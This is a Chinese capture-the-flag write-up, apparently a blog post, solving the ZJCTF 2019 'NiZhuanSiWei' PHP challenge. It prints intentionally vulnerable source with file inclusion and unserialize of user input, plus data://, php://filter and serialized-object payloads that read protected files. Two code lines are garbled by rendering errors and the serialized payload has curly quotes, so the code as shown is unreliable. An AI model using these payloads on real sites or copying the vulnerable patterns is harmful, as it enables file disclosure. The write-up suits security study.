[ZJCTF 2019]NiZhuanSiWei

本文详细介绍了ZJCTF2019中NiZhuanSiWei挑战的解题过程,涉及PHP伪协议、序列化等技术,通过构造特定的请求参数获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[ZJCTF 2019]NiZhuanSiWei

知识点:

php伪协议

php序列化

如题:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

解题1:

老生常谈的点,php伪协议

isset(KaTeX parse error: Expected 'EOF', got '&' at position 6: text)&̲&(file_get_cont…text,‘r’)===“welcome to the zjctf”)

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

在这里插入图片描述

解题2:

if(preg_match("/flag/",KaTeX parse error: Expected '}', got 'EOF' at end of input: …se{ include(file); //useless.php
}

include文件包含

在这里插入图片描述

根据题目的意思,应该是要读取useless.php,使用php://filter协议

使用方法:

php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示)

在这里插入图片描述

得到如下:

<?php  
//useless.php
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

include($file);  //useless.php
$password = unserialize($password);
echo $password;

解题3:

php序列化

传参useless.php,调用flag类,然后给里面file值赋值为flag.php,序列化后传入password,即可得到flag

构造序列化参数:

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

O代表对象,4为对象长度,1代表有一个成员变量

验证得到flag:

构造序列化参数:

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

O代表对象,4为对象长度,1代表有一个成员变量

验证得到flag:

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值